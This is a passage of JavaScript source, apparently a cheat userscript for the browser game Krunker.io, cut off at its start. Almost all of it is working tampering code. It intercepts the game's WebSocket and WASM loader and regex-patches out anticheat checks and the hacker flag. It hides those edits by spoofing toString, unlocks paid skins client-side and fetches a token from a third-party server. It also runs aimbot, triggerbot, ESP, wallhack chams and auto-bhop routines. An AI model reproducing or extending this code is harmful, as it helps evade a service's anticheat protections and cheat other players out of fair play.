window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
michealbalogun
